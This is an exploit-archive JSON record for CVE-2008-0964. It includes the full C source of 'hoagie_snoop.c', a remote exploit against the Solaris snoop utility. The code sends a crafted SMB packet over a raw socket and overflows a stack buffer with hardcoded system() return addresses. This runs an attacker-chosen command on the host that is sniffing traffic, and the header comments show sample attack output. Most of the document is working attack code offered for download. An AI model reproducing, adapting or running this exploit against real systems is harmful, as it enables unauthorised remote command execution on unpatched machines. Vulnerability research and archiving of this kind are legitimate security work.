{"exploit":{"id":"EDB-6328","name":"Sun Solaris 10 - snoop(1M) Utility Remote Command Execution","description":"Sun Solaris 10 - snoop(1M) Utility Remote Command Execution","cves":["CVE-2008-0964"],"author":"Andi","published":"2008-08-29","platform":"solaris","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6328","path":"exploits/solaris/remote/6328.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6328.c","vulnerabilities":[{"id":"CVE-2008-0964","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in snoop on Sun Solaris 8 through 10 and OpenSolaris before snv_96, when the -o option is omitted, allow remote attackers to execute arbitrary code via a crafted SMB packet.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0964","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0964"},"updatedAt":"2024-08-07T08:01:40.170Z","retrievedAt":"2026-11-26T23:11:24.660Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6328.png?v=2","url":"https://exploitbin.com/exploits/EDB-6328","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6328/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6328/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/***********************************************************\n * hoagie_snoop.c\n * SUN SOLARIS SNOOP REMOTE EXPLOIT\n * + Sun Solaris 8/9/10\n * + OpenSolaris < snv_96\n *\n * Bug discovered by Gael Delalleau\n * https://www.securityfocus.com/bid/30556\n *\n * attack:/exploits# ./hoagie_snoop -t 192.168.0.1\n * hoagie_snoop.c - solaris snoop remote\n * -andi / void.at\n *\n * [*] attacking 'SunOS opensolaris 5.11 snv_86 i86pc i386 i86pc' on '192.168.0.1' ...\n * [*] execute 'uname -a > /tmp/.patch.your.system.txt' now ...\n * [*] done\n * attack:/exploits#\n *\n * admin@opensolaris:~# snoop port 445\n * Using device pcn0 (promiscuous mode)\n * sh[1]: Ã¯Â¿Å“SMBr: not found [No such file or directory]\n * WARNING: received signal 11 from packet 1\n * ^Cadmin@opensolaris:~# cat /tmp/.patch.your.system.txt\n * SunOS opensolaris 5.11 snv_86 i86pc i386 i86pc Solaris\n * admin@opensolaris:~#\n *\n * !!!UND IMMER DEINE FREUNDE, IHR NEHMT DOCH ALLE DROGEN!!!\n *\n * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-\n * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY\n * DAMAGE DONE USING THIS PROGRAM.\n *\n * VOID.AT Security\n * andi@void.at\n * http://www.void.at\n *\n ************************************************************/\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <netdb.h>\n#include <time.h>\n#include <arpa/inet.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <netinet/tcp.h>\n\n#define MAX_PACKET\t\t4096\n#define SMB_COMMAND_TRIGGER\t0x72\n#define SMB_PORT_DEFAULT\t445\n#define SMB_TARGET_DEFAULT\t\"127.0.0.1\"\n#define\tSMB_HEADER_FILLER\t0x20\n\nstruct target_t {\n   char *description;\n   int  address;\n} targets [] = {\n   {\n      /* -r-xr-xr-x 1 root bin 580460 2008-04-27 03:51 /usr/sbin/snoop */\n      \"SunOS 5.11 snv_86 i86pc i386\",\n      /* system() address */\n      0xd2adc2a0\n   },\n\n   {\n      /* -r-xr-xr-x   1 root     bin       529956 Nov 13  2006 /usr/sbin/snoop */\n      \"SunOS 5.10 Generic_118833-33 sun4u sparc\",\n      /* system() address */\n      0xff1a7c00\n   },\n\n   {\n      NULL,\n      0,\n   }\n};\n\n/* usage\n * display help screen\n */\nvoid usage(int argc, char **argv) {\n   int i;\n\n   printf(\"usage: %s [-i <id>] [-t <host>] [-c <command>]\\n\"\n          \"\\n\"\n\t  \"-i        id for target\\n\"\n          \"-t        host running snoop\\n\"\n\t  \"-c        command to execute\\n\"\n          \"\\n\\n\"\n\t  \"available ids:\\n\"\n          ,\n          argv[0]);\n   for (i = 0; targets[i].description != NULL; i++) {\n      printf(\"%2d : %s\\n\", i, targets[i].description);\n   }\n   exit(1);\n}\n\n/* create_smb_packet\n */\nvoid send_smb_packet(int s,\n                     struct sockaddr_in *sin,\n                     char smbcommand,\n\t\t     char *content) {\n\n   char *packet = (char*)malloc(MAX_PACKET);\n   int length = 0;\n   struct tcphdr *tcp;\n   char *data;\n   int r;\n\n   if (packet) {\n      memset(packet, 0, MAX_PACKET);\n\n      tcp = (struct tcphdr*)packet;\n      tcp->source = sin->sin_port;\n      tcp->dest = sin->sin_port;\n      tcp->doff = sizeof(struct tcphdr) / 4;\n      tcp->ack = 1;\n      tcp->psh = 1;\n      tcp->window = htons(32768);\n\n      data = packet + sizeof(struct tcphdr);\n\n      length = 4;\n\n      strcpy(data + length, \"\\xffSMB\");\n      length += 4;\n\n      /* smb command */\n      data[length++] = smbcommand;\n\n      /* status */\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n\n      /* flags */\n      data[length++] = 0x18;\n\n      /* flags2 */\n      data[length++] = 0x80;\n      data[length++] = 0x01;\n\n      /* extra field */\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n\n      /* tid */\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n\n      /* client process id */\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n\n      /* uid */\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n\n      /* mid */\n      data[length++] = SMB_HEADER_FILLER;\n      data[length++] = SMB_HEADER_FILLER;\n\n      /* word count */\n      data[length++] = SMB_HEADER_FILLER;\n\n      /* byte count */\n      data[length++] = strlen(content) & 0xff;\n      data[length++] = (strlen(content) >> 8) & 0xff;\n\n      data[length++] = 0x02;\n\n      if (content) {\n         /* content */\n         strcpy(data + length, content);\n         length += strlen(content);\n      }\n      data[length++] = 0x00;\n\n      /* set length for smb data */\n      data[3] = (length - 4) & 0xff;\n      data[2] = ((length - 4) >> 8) & 0xff;\n\n      /* send packet */\n      r = sendto(s, packet, sizeof(struct tcphdr) + length, 0,\n                 (struct sockaddr*)sin, sizeof(struct sockaddr_in));\n   }\n\n}\n\n/* main entry\n */\nint main(int argc, char **argv) {\n   char c;\n   char *target = SMB_TARGET_DEFAULT;\n   int port = SMB_PORT_DEFAULT;\n   int s = 0;\n   struct sockaddr_in sin;\n   int i = 0;\n   char buffer[1024];\n   int idx = 0;\n   char *command = NULL;\n\n   printf(\"hoagie_snoop.c - solaris snoop remote\\n\"\n          \"-andi / void.at\\n\\n\");\n\n   if (argc < 2) {\n      usage(argc, argv);\n   } else {\n      while ((c = getopt (argc, argv, \"hvt:p:r:i:c:\")) != EOF) {\n         switch (c) {\n            case 't':\n                 target = optarg;\n                 break;\n            case 'p':\n                 port = atoi(optarg);\n                 break;\n            case 'i':\n                 idx = atoi(optarg);\n                 break;\n            case 'c':\n\t         command = optarg;\n\t\t break;\n            default:\n                 printf(\"[*] unknown command line option '%c'\\n\", c);\n                 exit(-1);\n         }\n      }\n   }\n\n   s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);\n   if (s == -1) {\n      printf(\"[*] failed to create raw socket\\n\");\n   } else {\n      sin.sin_family = AF_INET;\n      sin.sin_port = htons(port);\n      sin.sin_addr.s_addr = inet_addr(target);\n\n      if (!command) {\n         command = \"uname -a > /tmp/.patch.your.system.txt\";\n      }\n\n      printf(\"[*] attacking '%s' on '%s' ...\\n\", targets[idx].description, target);\n\n      snprintf(buffer, sizeof(buffer), \";%s;\", command);\n\n      /* char dialect[256] */\n      for (i = strlen(buffer); i < 256; i++) { buffer[i] = SMB_HEADER_FILLER; }\n\n      /* int bytecount */\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n\n      /* int length */\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n\n      /* dummy address */\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n\n      /* framepointer / ebp */\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n      buffer[i++] = SMB_HEADER_FILLER;\n\n      /* return address */\n      buffer[i++] = targets[idx].address & 0xff;\n      buffer[i++] = (targets[idx].address >> 8) & 0xff;\n      buffer[i++] = (targets[idx].address >> 16) & 0xff;\n      buffer[i++] = (targets[idx].address >> 24) & 0xff;\n\n      printf(\"[*] execute '%s' now ...\\n\", command);\n\n      send_smb_packet(s, &sin, SMB_COMMAND_TRIGGER, buffer);\n\n      printf(\"[*] done\\n\");\n\n      close(s);\n   }\n\n   return 0;\n}\n\n// milw0rm.com [2008-08-29]","sha256":"f591fad3818684566b29399c6fa74900f88d93cb1b269369d8968653e2ab41fa","bytes":7912,"fetchedAt":"2026-11-26T23:11:20.710Z","encoding":"utf-8 (display only; download retains original bytes)"}